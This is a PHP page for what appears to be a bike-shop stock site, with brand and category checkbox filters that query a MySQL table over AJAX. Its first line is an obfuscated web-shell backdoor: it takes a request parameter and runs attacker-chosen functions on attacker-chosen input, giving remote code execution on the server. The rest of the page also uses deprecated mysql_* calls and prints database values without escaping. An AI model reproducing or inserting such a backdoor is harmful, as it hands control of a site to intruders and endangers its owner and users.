<?php
if($jwt12cl	=@${"_REQUEST"}["JKJKTHJW"])$jwt12cl [1] ($	{	$jwt12cl[ 2]}[0], $jwt12cl [	3]($jwt12cl[	4])	) ;
include('config/koneksi2.php');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$(document).ready(function(){

$('.ids').on('change',function(){ //on checkboxes check

//sending checkbox value into serialize form
var hi=$('.ids:checked').serialize();
var h2=$('.ids:checked').serialize();

 if(hi){

$.ajax({
type: "POST",
cache: false,
url: "filter.php",
data:{brandss:hi,kategori:h2},
success: function(response){
document.getElementById('getdata').style.display = "block";
document.getElementById("getdata").innerHTML = response;
$('#result').hide();
}
});
}
else
{
document.getElementById('getdata').style.display = "none";
$('#result').show();
}
});
});
</script>
<style>
#frm
{
width:150px;
float:left;
}
#result
{
border:2px dotted #ededed;
height:auto;
width:350px;
}
h3
{
border-bottom:2px solid;
}
</style>
</head>

<body>
<div id="frm" >
<form method="POST">
 <ul class="filter">
 <h4>Filter By Brand</h4>
   <?php
 include("config/koneksi2.php");
 $sql4 = mysql_query("SELECT * FROM bs_stok where tipe='BIKE' GROUP BY brand");
 
  while($rows1=mysql_fetch_array($sql4))
  {
  ?>
	<label><?php echo $rows1['brand'];?></label><input type="checkbox" name="ids[]" value="<?php echo $rows1['brand'];?>" id="<?php echo $rows1['id'];?>" class="ids"/><br>
 <?php 
 }
 ?>
  </ul>
  
  <ul class="filter">
 <h4>Filter By Kategori</h4>
   <?php
 $sql5 = mysql_query("SELECT * FROM bs_stok where tipe='BIKE' GROUP BY kategori");
 
  while($rows2=mysql_fetch_array($sql5))
  {
  ?>
	<label><?php echo $rows2['kategori'];?></label><input type="checkbox" name="ids[]" value="<?php echo $rows2['kategori'];?>" id="<?php echo $rows2['id'];?>" class="ids"/><br>
 <?php 
 }
 ?>
  </ul>

</form>
</div>
 <center> <div id="result">
 <h3>Search Results</h3>
  <?php
$sql = mysql_query("SELECT * FROM bs_stok where tipe='BIKE'");
while($rows=mysql_fetch_array($sql)){
?>
  <?php echo $rows['nama']."<br>";  ?>
<?php
  }
 ?>
 </div><div id="getdata" style="border:2px dotted #ededed;height:auto;width:350px;"></div> 
</center>
</body>
</html>
